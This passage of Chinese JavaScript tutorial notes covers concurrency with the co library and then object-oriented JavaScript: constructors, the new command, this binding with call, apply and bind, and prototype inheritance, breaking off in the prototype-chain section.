上面代码中，`next`函数的内部代码，一共只有四行命令。

第一行，检查当前是否为 Generator 函数的最后一步，如果是就返回。

第二行，确保每一步的返回值，是 Promise 对象。

第三行，使用`then`方法，为返回值加上回调函数，然后通过`onFulfilled`函数再次调用`next`函数。

第四行，在参数不符合要求的情况下（参数非 Thunk 函数和 Promise 对象），将 Promise 对象的状态改为`rejected`，从而终止执行。

### 处理并发的异步操作

co 支持并发的异步操作，即允许某些操作同时进行，等到它们全部完成，才进行下一步。

这时，要把并发的操作都放在数组或对象里面，跟在`yield`语句后面。

```javascript
// 数组的写法
co(function* () {
  var res = yield [
    Promise.resolve(1),
    Promise.resolve(2)
  ];
  console.log(res);
}).catch(onerror);

// 对象的写法
co(function* () {
  var res = yield {
    1: Promise.resolve(1),
    2: Promise.resolve(2),
  };
  console.log(res);
}).catch(onerror);
```

```javascript
co(function* () {
  var values = [n1, n2, n3];
  yield values.map(somethingAsync);
});

function* somethingAsync(x) {
  // do something async
  return y
}
```

上面的代码允许并发三个`somethingAsync`异步操作，等到它们全部完成，才会进行下一步。

---

---
url: /js/ecac2nik/index.md
---
# 面向对象编程
**面向对象编程**是目前主流的编程范式。它将真实世界各种复杂的关系，抽象为一个个对象，然后由对象之间的分工与合作，完成对真实世界的模拟。

每一个对象都是功能中心，具有明确分工，可以完成接受信息、处理数据、发出信息等任务。对象可以复用，通过继承机制还可以定制。

因此，面向对象编程具有灵活、代码可复用、高度模块化等特点，容易维护和开发，比起由一系列函数或指令组成的传统的**过程式编程**，更适合多人合作的大型软件项目。

那么，**对象**（object）到底是什么？我们从两个层次来理解。

**（1）对象是单个实物的抽象。**

一本书、一辆汽车、一个人都可以是对象，一个数据库、一张网页、一个远程服务器连接也可以是对象。当实物被抽象成对象，实物之间的关系就变成了对象之间的关系，从而就可以模拟现实情况，针对对象进行编程。

**（2）对象是一个容器，封装了属性（property）和方法（method）。**

属性是对象的状态，方法是对象的行为（完成某种任务）。比如，我们可以把动物抽象为`animal`对象，使用“属性”记录具体是哪一种动物，使用“方法”表示动物的某种行为（奔跑、捕猎、休息等等）。

### 构造函数

面向对象编程的第一步，就是要生成对象。前面说过，对象是**单个实物的抽象**。

通常需要一个模板，表示某一类实物的共同特征，然后对象根据这个模板生成。

典型的面向对象编程语言（比如 C++ 和 Java），都有“类”（class）这个概念。所谓“类”就是对象的模板，对象就是“类”的实例。

但是，JavaScript 语言的对象体系，不是基于“类”的，而是基于构造函数（constructor）和原型链（prototype）。

JavaScript 语言使用**构造函数**（constructor）作为**对象的模板**。

所谓”**构造函数**”，就是专门用来生成实例对象的函数。它就是对象的模板，描述实例对象的基本结构。一个构造函数，可以生成多个实例对象，这些实例对象都有相同的结构。

构造函数就是一个普通的函数，**但具有自己的特征和用法**。

```js
var Vehicle = function () {
  this.price = 1000;
};
```

上面代码中，`Vehicle`就是构造函数。为了与普通函数区别，构造函数名字的**第一个字母通常大写。**

构造函数的特点有两个。

* 函数体内部使用了`this`关键字，代表了所要生成的对象实例（可以往生成的实例对象上挂载属性）。
* 生成对象的时候，必须使用`new`命令。

### new 命令

`new`命令的作用，就是执行构造函数，返回一个实例对象。

```js
var Vehicle = function () {
  this.price = 1000;
};

var v = new Vehicle();
v.price // 1000
```

上面代码通过`new`命令，让构造函数`Vehicle`生成一个实例对象，保存在变量`v`中。这个新生成的实例对象，从构造函数`Vehicle`得到了`price`属性。

`new`命令执行时，构造函数内部的`this`，就代表了新生成的实例对象，`this.price`表示实例对象有一个`price`属性，值是1000。

使用`new`命令时，根据需要，构造函数也可以接受参数。

```js
var Vehicle = function (p) {
  this.price = p;
};

var v = new Vehicle(500);
```

`new`命令本身就可以执行构造函数，所以后面的构造函数可以带括号，也可以不带括号。

如果忘了使用`new`命令，直接调用构造函数，此时构造函数就变成了普通函数，并不会生成实例对象。而且由于后面会说到的原因，`this`这时代表**全局对象**，将造成一些意想不到的结果。

```js
console.log(this);
// Window {window: Window, self: Window, document: document, name: '', location: Location, …}
```

```js
var Vehicle = function (){
  this.price = 1000;
};

var v = Vehicle();
v // undefined
price // 1000
```

上面代码中，调用`Vehicle`构造函数时，忘了加上`new`命令。结果，变量`v`变成了`undefined`，而`price`属性变成了全局变量。

为了保证构造函数必须与`new`命令一起使用，一个解决办法是，构造函数内部使用**严格模式**，即第一行加上`use strict`。这样的话，一旦忘了使用`new`命令，直接调用构造函数就会报错。

```js
function Fubar(foo, bar){
  'use strict';
  this._foo = foo;
  this._bar = bar;
}

Fubar()
// TypeError: Cannot set property '_foo' of undefined
```

上面代码的`Fubar`为构造函数，`use strict`命令保证了该函数在严格模式下运行。

由于严格模式中，函数内部的`this`不能指向全局对象，默认等于`undefined`，导致不加`new`调用会报错（JavaScript 不允许对`undefined`添加属性）。

另一个解决办法，构造函数内部判断是否使用`new`命令，如果发现没有使用，则直接返回一个实例对象。

```js
function Fubar(foo, bar) {
  if (!(this instanceof Fubar)) {
    return new Fubar(foo, bar);
  }

  this._foo = foo;
  this._bar = bar;
}

Fubar(1, 2)._foo // 1
(new Fubar(1, 2))._foo // 1
```

上面代码中的构造函数，不管加不加`new`命令，都会得到同样的结果。

### new 命令的原理

使用`new`命令时，它后面的函数依次执行下面的步骤。

1. 创建一个空对象，作为将要返回的对象实例。
2. 将这个空对象的原型，指向构造函数的`prototype`属性。
3. 将这个空对象赋值给函数内部的`this`关键字。
4. 开始执行构造函数内部的代码。

也就是说，构造函数内部，`this`指的是一个新生成的空对象，所有针对`this`的操作，都会发生在这个空对象上。

构造函数之所以叫“构造函数”，就是说这个函数的目的，就是操作一个空对象（即`this`对象），将其“构造”为需要的样子。

如果构造函数内部有`return`语句，而且`return`后面跟着一个**对象**，`new`命令会返回`return`语句指定的对象；否则，就会不管`return`语句，返回`this`对象。

```js
var Vehicle = function () {
  this.price = 1000;
  return 1000;	// 非对象
};

(new Vehicle()) === 1000
// false
```

上面代码中，构造函数`Vehicle`的`return`语句返回一个数值。这时，`new`命令就会忽略这个`return`语句，返回“构造”后的`this`对象。

但是，如果`return`语句返回的是一个跟`this`无关的新对象，`new`命令会返回这个新对象，而不是`this`对象。这一点需要特别引起注意。

```js
var Vehicle = function (){
  this.price = 1000;
  return { price: 2000 };
};

(new Vehicle()).price
// 2000
```

另一方面，如果对普通函数（内部没有`this`关键字的函数）使用`new`命令，则会返回一个空对象。

```js
function getMessage() {
  return 'this is a message';
}

var msg = new getMessage();

msg // {}
typeof msg // "object"
```

上面代码中，`getMessage`是一个普通函数，返回一个字符串。对它使用`new`命令，会得到一个空对象。这是因为`new`命令总是返回一个对象，要么是实例对象，要么是`return`语句指定的对象。本例中，`return`语句返回的是字符串，所以`new`命令就忽略了该语句。

### 手搓简化new命令

```js
function _new(/* 构造函数 */ constructor, /* 构造函数参数 */ params) {
  // 将 arguments 对象转为数组
  var args = [].slice.call(arguments);
  // 取出构造函数
  var constructor = args.shift();
  // 创建一个空对象，继承构造函数的 prototype 属性
  var context = Object.create(constructor.prototype);
  // 执行构造函数
  var result = constructor.apply(context, args);
  // 如果返回结果是对象，就直接返回，否则返回 context 对象
  return (typeof result === 'object' && result != null) ? result : context;
}

// 实例
var actor = _new(Person, '张三', 28);
```

### new.target

函数内部可以使用`new.target`属性。如果当前函数是`new`命令调用，`new.target`指向当前函数，否则为`undefined`。

```js
function f() {
  console.log(new.target === f);
}

f() // false
new f() // true
```

使用这个属性，可以判断函数调用的时候，是否使用`new`命令。

```js
function f() {
  if (!new.target) {
    throw new Error('请使用 new 命令调用！');
  }
  // ...
}

f() // Uncaught Error: 请使用 new 命令调用！
```

### Object.create()

构造函数作为模板，可以生成实例对象。但是，有时拿不到构造函数，只能拿到一个现有的对象。我们希望以这个现有的对象作为模板，生成新的实例对象，这时就可以使用`Object.create()`方法。

```js
var person1 = {
  name: '张三',
  age: 38,
  greeting: function() {
    console.log('Hi! I\'m ' + this.name + '.');
  }
};

var person2 = Object.create(person1);

person2.name // 张三
person2.greeting() // Hi! I'm 张三.
```

上面代码中，对象`person1`是`person2`的模板，后者继承了前者的属性和方法。

### this关键字

前一章已经提到，`this`可以用在构造函数之中，表示实例对象。

除此之外，`this`还可以用在别的场合。但不管是什么场合，`this`都有一个共同点：它总是返回一个对象。

简单说，`this`**就是属性或方法当前所在的对象**。

```js
var person = {
  name: '张三',
  describe: function () {
    return '姓名：'+ this.name;
  }
};

person.describe()
// "姓名：张三"
```

上面代码中，`this.name`表示`name`属性所在的那个对象。

由于`this.name`是在`describe`方法中调用，而`describe`方法所在的当前对象是`person`，因此`this`指向`person`，`this.name`就是`person.name`。

由于对象的属性可以赋给另一个对象，所以属性所在的当前对象是可变的，即`this`的指向是可变的。

```js
var A = {
  name: '张三',
  describe: function () {
    return '姓名：'+ this.name;
  }
};

var B = {
  name: '李四'
};

B.describe = A.describe;
B.describe()
// "姓名：李四"
```

上面代码中，`A.describe`属性被赋给`B`，于是`B.describe`就表示`describe`方法所在的当前对象是`B`，所以`this.name`就指向`B.name`。

稍稍重构这个例子，`this`的动态指向就能看得更清楚。

```js
function f() {
  return '姓名：'+ this.name;
}

var A = {
  name: '张三',
  describe: f
};

var B = {
  name: '李四',
  describe: f
};

A.describe() // "姓名：张三"
B.describe() // "姓名：李四"
```

上面代码中，函数`f`内部使用了`this`关键字，随着`f`所在的对象不同，`this`的指向也不同。

**只要函数被赋给另一个变量，`this`的指向就会变**。

```js
var A = {
  name: '张三',
  describe: function () {
    return '姓名：'+ this.name;
  }
};

var name = '李四';	// 顶层属性（window对象）
var f = A.describe;
f() // "姓名：李四"
```

上面代码中，`A.describe`被赋值给变量`f`，内部的`this`就会指向`f`运行时所在的对象（本例是顶层对象）

**网页编程的例子**

```html
<input type="text" name="age" size=3 onChange="validate(this, 18, 99);">

<script>
function validate(obj, lowval, hival){
  if ((obj.value < lowval) || (obj.value > hival))
    console.log('Invalid Value!');
}
</script>
```

每当用户输入一个值，就会调用`onChange`回调函数，验证这个值是否在指定范围。**浏览器会向回调函数传入当前对象**，因此`this`就代表传入当前对象（即文本框），然后就可以从`this.value`上面读到用户的输入值。

总结一下，JavaScript 语言之中，一切皆对象，运行环境也是对象，所以函数都是在某个对象之中运行，`this`就是函数运行时所在的对象（环境）。

这本来并不会让用户糊涂，但是 JavaScript 支持运行环境动态切换，也就是说，`this`的指向是动态的，没有办法事先确定到底指向哪个对象。

### this实质

JavaScript 语言之所以有 this 的设计，跟内存里面的数据结构有关系。

```js
var obj = { foo:  5 };
```

上面的代码将一个对象赋值给变量`obj`。JavaScript 引擎会先在内存里面，生成一个对象`{ foo: 5 }`，然后把这个对象的内存地址赋值给变量`obj`。

也就是说，变量`obj`是一个地址（reference）。

后面如果要读取`obj.foo`，引擎先从`obj`拿到内存地址，然后再从该地址读出原始的对象，返回它的`foo`属性。

原始的对象以字典结构保存，每一个属性名都对应一个属性描述对象。

举例来说，上面例子的`foo`属性，实际上是以下面的形式保存的。

```js
{
  foo: {
    [[value]]: 5
    [[writable]]: true
    [[enumerable]]: true
    [[configurable]]: true
  }
}
```

注意，`foo`属性的值保存在属性描述对象的`value`属性里面。

这样的结构是很清晰的，问题在于属性的值可能是一个函数。

```js
var obj = { foo: function () {} };
```

这时，引擎会将函数单独保存在内存中，然后再将函数的地址赋值给`foo`属性的`value`属性。

```js
{
  foo: {
    [[value]]: 函数的地址
    ...
  }
}
```

由于函数是一个单独的值，所以它可以在不同的环境（上下文）执行。

```js
var f = function () {};
var obj = { f: f };

// 单独执行
f()

// obj 环境执行
obj.f()
```

JavaScript 允许在函数体内部，引用当前环境的其他变量。

```js
var f = function () {
  console.log(x);
};
```

上面代码中，函数体里面使用了变量`x`。该变量由运行环境提供。

现在问题就来了，由于函数可以在不同的运行环境执行，所以需要有一种机制，能够在函数体内部获得当前的运行环境（context）。

所以，`this`就出现了，它的设计目的就是在函数体内部，指代函数当前的运行环境。

```js
var f = function () {
  console.log(this.x);
}
```

上面代码中，函数体里面的`this.x`就是指当前运行环境的`x`。

```js
var f = function () {
  console.log(this.x);
}

var x = 1;
var obj = {
  f: f,
  x: 2,
};

// 单独执行
f() // 1

// obj 环境执行
obj.f() // 2
```

上面代码中，函数`f`在全局环境执行，`this.x`指向全局环境的`x`；在`obj`环境执行，`this.x`指向`obj.x`。

### this场景

`this`主要有以下几个使用场合。

#### 全局环境

全局环境使用`this`，它指的就是顶层对象`window`。

```js
this === window // true
```

#### 构造函数

构造函数中的`this`，指的是实例对象。

```js
var Obj = function (p) {
  this.p = p;
};
```

上面代码定义了一个构造函数`Obj`。由于`this`指向实例对象，所以在构造函数内部定义`this.p`，就相当于定义实例对象有一个`p`属性。

```js
var o = new Obj('Hello World!');
o.p // "Hello World!"
```

#### 对象的方法

如果**对象**的**方法**里面包含`this`，`this`的指向就是方法运行时所在的对象。该方法赋值给另一个对象，就会改变`this`的指向。

```js
var obj ={
  foo: function () {
    console.log(this);
  }
};

obj.foo() // obj
```

上面代码中，`obj.foo`方法执行时，它内部的`this`指向`obj`。

下面这几种用法，都会改变`this`的指向。

```js
// 情况一
(obj.foo = obj.foo)() // window
// 情况二
(false || obj.foo)() // window
// 情况三
(1, obj.foo)() // window
```

上面代码中，`obj.foo`就是一个值。这个值真正调用的时候，运行环境已经不是`obj`了，而是全局环境，所以`this`不再指向`obj`。

可以这样理解，JavaScript 引擎内部，`obj`和`obj.foo`储存在两个内存地址，称为地址一和地址二。

`obj.foo()`这样调用时，是从地址一调用地址二，因此地址二的运行环境是地址一，`this`指向`obj`。

但是，上面三种情况，都是直接取出地址二进行调用，这样的话，运行环境就是全局环境，因此`this`指向全局环境。上面三种情况等同于下面的代码。

```js
// 情况一
(obj.foo = function () {
  console.log(this);
})()
// 等同于
(function () {
  console.log(this);
})()

// 情况二
(false || function () {
  console.log(this);
})()

// 情况三
(1, function () {
  console.log(this);
})()
```

如果`this`所在的方法不在对象的**第一层**，这时`this`只是指向**当前一层的对象**，而不会继承更上面的层。

```js
var a = {
  p: 'Hello',
  b: {
    m: function() {
      console.log(this.p);
    }
  }
};

a.b.m() // undefined
```

上面代码中，`a.b.m`方法在`a`对象的第二层，该方法内部的`this`不是指向`a`，而是指向`a.b`，因为实际执行的是下面的代码。

```js
var b = {
  m: function() {
   console.log(this.p);
  }
};

var a = {
  p: 'Hello',
  b: b
};

(a.b).m() // 等同于 b.m()
```

如果要达到预期效果，只有写成下面这样。

```js
var a = {
  b: {
    m: function() {
      console.log(this.p);
    },
    p: 'Hello'
  }
};
```

如果这时将嵌套对象内部的方法赋值给一个变量，`this`依然会指向全局对象。

```js
var a = {
  b: {
    m: function() {
      console.log(this.p);
    },
    p: 'Hello'
  }
};

var hello = a.b.m;
hello() // undefined
```

上面代码中，`m`是多层对象内部的一个方法。为求简便，将其赋值给`hello`变量，结果调用时，`this`指向了顶层对象。为了避免这个问题，可以只将`m`所在的对象赋值给`hello`，这样调用时，`this`的指向就不会变。

```js
var hello = a.b;
hello.m() // Hello
```

### this注意点

#### 避免多层 this

由于`this`的指向是不确定的，所以切勿在函数中包含多层的`this`。

```js
var o = {
  f1: function () {
    console.log(this);
    var f2 = function () {
      console.log(this);
    }();
  }
}

o.f1()
// Object
// Window
```

上面代码包含两层`this`，结果运行后，第一层指向对象`o`，第二层指向全局对象，因为实际执行的是下面的代码。

```
var temp = function () {
  console.log(this);
};

var o = {
  f1: function () {
    console.log(this);
    var f2 = temp();
  }
}
```

一个解决方法是在第二层改用一个指向外层`this`的变量。

```js
var o = {
  f1: function() {
    console.log(this);
    var that = this;
    var f2 = function() {
      console.log(that);
    }();
  }
}

o.f1()
// Object
// Object
```

上面代码定义了变量`that`，固定指向外层的`this`，然后在内层使用`that`，就不会发生`this`指向的改变。

**事实上，使用一个变量固定`this`的值，然后内层函数调用这个变量，是非常常见的做法，请务必掌握。**

JavaScript 提供了严格模式，也可以硬性避免这种问题。严格模式下，如果函数内部的`this`指向顶层对象，就会报错。

```js
var counter = {
  count: 0
};
counter.inc = function () {
  'use strict';
  this.count++
};
var f = counter.inc;
f()
// TypeError: Cannot read property 'count' of undefined
```

上面代码中，`inc`方法通过`'use strict'`声明采用严格模式，这时内部的`this`一旦指向顶层对象，就会报错。

#### 数组this

避免数组处理方法中的 this，数组的`map`和`foreach`方法，允许提供一个函数作为参数。这个函数内部不应该使用`this`。

```js
var o = {
  v: 'hello',
  p: [ 'a1', 'a2' ],
  f: function f() {
    this.p.forEach(function (item) {
      console.log(this.v + ' ' + item);
    });
  }
}

o.f()
// undefined a1
// undefined a2
```

上面代码中，`foreach`方法的回调函数中的`this`，其实是指向`window`对象，因此取不到`o.v`的值。原因跟上一段的多层`this`是一样的，**就是内层的`this`不指向外部，而指向顶层对象**。

解决这个问题的一种方法，就是前面提到的，使用中间变量固定`this`。

```js
var o = {
  v: 'hello',
  p: [ 'a1', 'a2' ],
  f: function f() {
    var that = this;
    this.p.forEach(function (item) {
      console.log(that.v+' '+item);
    });
  }
}

o.f()
// hello a1
// hello a2
```

另一种方法是将`this`当作`foreach`方法的第二个参数，固定它的运行环境。

#### 回调函数this

回调函数中的`this`往往会改变指向，最好避免使用。

```js
var o = new Object();
o.f = function () {
  console.log(this === o);
}

// jQuery 的写法
$('#button').on('click', o.f);
```

上面代码中，点击按钮以后，控制台会显示`false`。原因是此时`this`不再指向`o`对象，而是指向按钮的 DOM 对象，因为`f`方法是在按钮对象的环境中被调用的。这种细微的差别，很容易在编程中忽视，导致难以察觉的错误。

为了解决这个问题，可以采用下面的一些方法对`this`进行绑定，也就是使得`this`固定指向某个对象，减少不确定性。

### this绑定

`this`的动态切换，固然为 JavaScript 创造了巨大的灵活性，但也使得编程变得困难和模糊。

有时，需要把`this`固定下来，避免出现意想不到的情况。

JavaScript 提供了`call`、`apply`、`bind`这三个方法，来切换/固定`this`的指向。

#### call()

`Function.prototype.call()`，函数实例的`call`方法，可以指定函数内部`this`的指向（即函数执行时所在的作用域），然后在所指定的作用域中，调用该函数。

```js
var obj = {};

var f = function () {
  return this;
};

f() === window // true
f.call(obj) === obj // true
// 调用f()函数同时指定它执行所在的作用域
```

`call`方法的参数，应该是一个**对象**。如果参数为空、`null`和`undefined`，则默认传入**全局对象。**

```js
var n = 123;
var obj = { n: 456 };

function a() {
  console.log(this.n);
}

a.call() // 123
a.call(null) // 123
a.call(undefined) // 123
a.call(window) // 123
a.call(obj) // 456
```

如果`call`方法的参数是一个原始值，那么**这个原始值会自动转成对应的包装对象**，然后传入`call`方法。

```js
var f = function () {
  return this;
};

f.call(5)
// Number {[[PrimitiveValue]]: 5}
```

上面代码中，`call`的参数为`5`，不是对象，会被自动转成包装对象（`Number`的实例），绑定`f`内部的`this`。

`call`方法还可以接受多个参数。

```js
func.call(thisValue, arg1, arg2, ...)
```

`call`的第一个参数就是`this`所要指向的那个对象，后面的参数则是**函数调用时所需的参数**。

`call`方法的一个应用是调用对象的**原生方法**（**防止中间层覆盖影响结果**）。

```js
var obj = {};
obj.hasOwnProperty('toString') // false

// 覆盖掉继承的 hasOwnProperty 方法
obj.hasOwnProperty = function () {
  return true;
};
obj.hasOwnProperty('toString') // true	（结果被影响）

Object.prototype.hasOwnProperty.call(obj, 'toString') // false （不受影响）
```

上面代码中，`hasOwnProperty`是`obj`对象继承的方法，如果这个方法一旦被覆盖，就不会得到正确结果。

`call`方法可以解决这个问题，它将`hasOwnProperty`方法的原始定义放到`obj`对象上执行，这样无论`obj`上有没有同名方法，都不会影响结果。

#### apply()

`Function.prototype.apply()`方法的作用与`call`方法类似，也是改变`this`指向，然后再调用该函数。唯一的区别就是，它接收一个数组作为函数执行时的参数，使用格式如下。

```js
func.apply(thisValue, [arg1, arg2, ...])
```

`apply`方法的第一个参数也是`this`所要指向的那个对象，如果设为`null`或`undefined`，则等同于指定全局对象。第二个参数则是一个数组，该数组的所有成员依次作为参数，传入原函数。

原函数的参数，在`call`方法中必须一个个添加，但是在`apply`方法中，**必须以数组形式添加。**

```js
function f(x, y){
  console.log(x + y);
}

f.call(null, 1, 1) // 2
f.apply(null, [1, 1]) // 2
```

利用这一点，可以做一些有趣的应用。

**找出数组最大元素**

JS不提供找出数组最大元素的函数。结合使用`apply`方法和`Math.max`方法，就可以返回数组的最大元素。

```js
var a = [10, 2, 4, 15, 9];
Math.max.apply(null, a) // 15
// null则为全局对象
```

**将数组的空元素变为`undefined`**

通过`apply`方法，利用`Array`构造函数将数组的空元素变成`undefined`

```js
Array.apply(null, ['a', ,'b'])
// [ 'a', undefined, 'b' ]
```

空元素与`undefined`的差别在于，数组的`forEach`方法会跳过空元素，但是不会跳过`undefined`。因此，遍历内部元素的时候，会得到不同的结果。

**转换类似数组的对象**

另外，利用数组对象的`slice`方法，可以将一个类似数组的对象（比如`arguments`对象）转为真正的数组。

```js
Array.prototype.slice.apply({0: 1, length: 1}) // [1]
Array.prototype.slice.apply({0: 1}) // []
Array.prototype.slice.apply({0: 1, length: 2}) // [1, undefined]
Array.prototype.slice.apply({length: 1}) // [undefined]
```

这个方法起作用的前提是，被处理的对象必须有`length`属性，以及相对应的数字键。

#### bind()

`Function.prototype.bind()`方法用于将函数体内的`this`绑定到某个对象，然后返回一个新函数。

```js
var d = new Date();
d.getTime() // 1481869925657

var print = d.getTime;
print() // Uncaught TypeError: this is not a Date object.
```

我们将`d.getTime()`方法赋给变量`print`，然后调用`print()`就报错了。这是因为`getTime()`方法内部的`this`，绑定`Date`对象的实例，赋给变量`print`以后，内部的`this`已经不指向`Date`对象的实例了。

使用`bind()`解决

```js
var print = d.getTime.bind(d);
print() // 1481869925657
```

上面的代码中，将`d.getTime`方法赋值给`print`的时候绑定其内部的this的指向为`d`，否则`this`的指向为`print`。

`bind`方法的参数就是所要绑定`this`的对象，下面是一个更清晰的例子。

```js
var counter = {
  count: 0,
  inc: function () {
    this.count++;
  }
};

var func = counter.inc.bind(counter);
func();
counter.count // 1
```

上面代码中，`counter.inc()`方法被赋值给变量`func`。这时必须用`bind()`方法将`inc()`内部的`this`，绑定到`counter`，否则就会出错。

`this`绑定到其他对象也是可以的。

```js
var counter = {
  count: 0,
  inc: function () {
    this.count++;
  }
};

var obj = {
  count: 100
};
var func = counter.inc.bind(obj);
func();
obj.count // 101
```

`bind()`**还可以接受更多的参数，将这些参数绑定原函数的参数。**

```js
var add = function (x, y) {
  return x * this.m + y * this.n;
}

var obj = {
  m: 2,
  n: 2
};

var newAdd = add.bind(obj, 5);
newAdd(5) // 20
```

上面代码中，`bind()`方法除了绑定`this`对象，**还将`add()`函数的第一个参数`x`绑定成`5`**，然后返回一个新函数`newAdd()`，这个函数只要再接受一个参数`y`就能运行了。

如果`bind()`方法的第一个参数是`null`或`undefined`，等于将`this`绑定到全局对象，函数运行时`this`指向顶层对象（浏览器为`window`）

##### **注意点**

###### **每一次返回一个新函数**

`bind()`**方法每运行一次，就返回一个新函数**，这会产生一些问题。比如，监听事件的时候，不能写成下面这样。

```js
element.addEventListener('click', o.m.bind(o));
```

`click`事件绑定`bind()`方法生成的一个匿名函数。这样会导致无法取消绑定，所以下面的代码是无效的。

```js
element.removeEventListener('click', o.m.bind(o));
```

正确的方法是写成下面这样:

```js
var listener = o.m.bind(o);	// 给生成的函数命名
element.addEventListener('click', listener);
//  ...
element.removeEventListener('click', listener);
```

###### **结合回调函数使用**

回调函数是 JavaScript 最常用的模式之一，但是一个常见的错误是，将包含`this`的方法直接当作回调函数。解决方法就是使用`bind()`方法，将`counter.inc()`绑定`counter`。

```js
var counter = {
  count: 0,
  inc: function () {
    'use strict';
    this.count++;
  }
};

function callIt(callback) {
  callback();
}

callIt(counter.inc.bind(counter));
counter.count // 1
```

上面代码中，`callIt()`方法会调用回调函数。这时如果直接把`counter.inc`传入，调用时`counter.inc()`内部的`this`就会指向**全局对象**。

使用`bind()`方法将`counter.inc`绑定`counter`以后，就不会有这个问题，`this`总是指向`counter`。

还有一种情况比较隐蔽，就是某些数组方法可以接受一个函数当作参数。这些函数内部的`this`指向，很可能也会出错。

```js
var obj = {
  name: '张三',
  times: [1, 2, 3],
  print: function () {
    this.times.forEach(function (n) {
      console.log(this.name);
    });
  }
};

obj.print()
// 没有任何输出
```

上面代码中，`obj.print`内部`this.times`的`this`是指向`obj`的，这个没有问题。但是，`forEach()`方法的回调函数内部的`this.name`却是指向全局对象，导致没有办法取到值。稍微改动一下，就可以看得更清楚。

```js
obj.print = function () {
  this.times.forEach(function (n) {
    console.log(this === window);
  });
};

obj.print()
// true
// true
// true
```

解决这个问题，也是通过`bind()`方法绑定`this`。

```js
obj.print = function () {
  this.times.forEach(function (n) {
    console.log(this.name);
  }.bind(this));
};

obj.print()
// 张三
// 张三
// 张三
```

###### **结合`call()`方法使用**

利用`bind()`方法，可以改写一些 JavaScript 原生方法的使用形式，以数组的`slice()`方法为例。

```js
[1, 2, 3].slice(0, 1) // [1]
// 等同于
Array.prototype.slice.call([1, 2, 3], 0, 1) // [1]
```

上面的代码中，数组的`slice`方法从`[1, 2, 3]`里面，按照指定的开始位置和结束位置，切分出另一个数组。这样做的本质是在`[1, 2, 3]`上面调用`Array.prototype.slice()`方法，因此可以用`call`方法表达这个过程，得到同样的结果。

##### **改写原生方法**

`call()`方法实质上是调用`Function.prototype.call()`方法，因此上面的表达式可以用`bind()`方法改写。

```js
var slice = Function.prototype.call.bind(Array.prototype.slice);
slice([1, 2, 3], 0, 1) // [1]
```

上面代码的含义就是，将`Array.prototype.slice`变成`Function.prototype.call`方法所在的对象，调用时就变成了`Array.prototype.slice.call`。类似的写法还可以用于其他数组方法。

```js
var push = Function.prototype.call.bind(Array.prototype.push);
var pop = Function.prototype.call.bind(Array.prototype.pop);

var a = [1 ,2 ,3];
push(a, 4)
a // [1, 2, 3, 4]

pop(a)
a // [1, 2, 3]
```

如果再进一步，将`Function.prototype.call`方法绑定到`Function.prototype.bind`对象，就意味着`bind`的调用形式也可以被改写。

```js
function f() {
  console.log(this.v);
}

var o = { v: 123 };
var bind = Function.prototype.call.bind(Function.prototype.bind);
bind(f, o)() // 123
```

上面代码的含义就是，将`Function.prototype.bind`方法绑定在`Function.prototype.call`上面，所以`bind`方法就可以直接使用，不需要在函数实例上使用。

### 对象的继承

面向对象编程很重要的一个方面，就是对象的继承。A 对象通过继承 B 对象，就能直接拥有 B 对象的所有属性和方法。这对于代码的复用是非常有用的。

大部分面向对象的编程语言，都是通过“类”（class）实现对象的继承。传统上，JavaScript 语言的继承不通过 class，而是通过“原型对象”（**prototype**）实现，本章介绍 JavaScript 的原型链继承。

> \[!tip]
>
> ES6 引入了 class 语法。

JavaScript通过构造函数生成新的对象，所以构造函数可以视为对象的模板，实例对象的属性和方法，可以定义在构造函数内部。

```js
function Cat (name, color) {
  this.name = name;
  this.color = color;
}

var cat1 = new Cat('大毛', '白色');

cat1.name // '大毛'
cat1.color // '白色'
```

上面代码中，`Cat`函数是一个构造函数，函数内部定义了`name`属性和`color`属性，所有实例对象（上例是`cat1`）都会生成这两个属性，即这两个属性会定义在实例对象上面。

通过构造函数为实例对象定义属性，虽然很方便，但是有一个缺点。同一个构造函数的多个实例之间，**无法共享属性，从而造成对系统资源的浪费。**

```js
function Cat(name, color) {
  this.name = name;
  this.color = color;
  this.meow = function () {
    console.log('喵喵');
  };
}

var cat1 = new Cat('大毛', '白色');
var cat2 = new Cat('二毛', '黑色');

cat1.meow === cat2.meow
// false
```

上面代码中，`cat1`和`cat2`是同一个构造函数的两个实例，它们都具有`meow`方法。由于`meow`方法是生成在每个实例对象上面，所以两个实例就生成了两次。

也就是说，每新建一个实例，就会新建一个`meow`方法。这既没有必要，又浪费系统资源，因为所有`meow`方法都是同样的行为，完全应该共享。

这个问题的解决方法，就是 JavaScript 的原型对象（prototype）。

#### prototype 属性的作用

JavaScript 继承机制的设计思想就是，原型对象的所有属性和方法，都能被实例对象共享。

也就是说，如果属性和方法定义在原型上，那么所有实例对象就能共享，不仅节省了内存，还体现了实例对象之间的联系。

下面，先看怎么为对象指定原型。JavaScript 规定，每个函数都有一个`prototype`属性，指向一个对象。

```js
function f() {}
typeof f.prototype // "object"
```

上面代码中，函数`f`默认具有`prototype`属性，指向一个对象。

对于普通函数来说，该属性基本无用。但是，对于构造函数来说，**生成实例的时候，该属性会自动成为实例对象的原型。**

```js
function Animal(name) {
  this.name = name;
}
Animal.prototype.color = 'white';

var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');

cat1.color // 'white'
cat2.color // 'white'
```

上面代码中，构造函数`Animal`的`prototype`属性，就是实例对象`cat1`和`cat2`的原型对象。原型对象上添加一个`color`属性，结果，实例对象都共享了该属性。

原型对象的属性不是实例对象自身的属性。只要修改原型对象，变动就立刻会体现在**所有**实例对象上。

```js
Animal.prototype.color = 'yellow';

cat1.color // "yellow"
cat2.color // "yellow"
```

上面代码中，原型对象的`color`属性的值变为`yellow`，两个实例对象的`color`属性立刻跟着变了。

这是因为实例对象其实没有`color`属性，都是读取原型对象的`color`属性。

也就是说，**当实例对象本身没有某个属性或方法的时候，它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处**。

**如果实例对象自身就有某个属性或方法，它就不会再去原型对象寻找这个属性或方法。**

```js
cat1.color = 'black';

cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';
```

总结一下，原型对象的作用，就是定义所有实例对象共享的属性和方法。

这也是它被称为原型对象的原因，而实例对象可以视作从原型对象衍生出来的子对象。

```js
Animal.prototype.walk = function () {
  console.log(this.name + ' is walking');
};
```

上面代码中，`Animal.prototype`对象上面定义了一个`walk`方法，这个方法将可以在所有`Animal`实例对象上面调用。

#### 原型链

JavaScript规定，所有对象都有自己的原型对象（**prototype**）。

一方面，任何一个对象，都可以充当其他对象的原型；

另一方面，由于原型对象也是对象，所以它也有自己的原型。

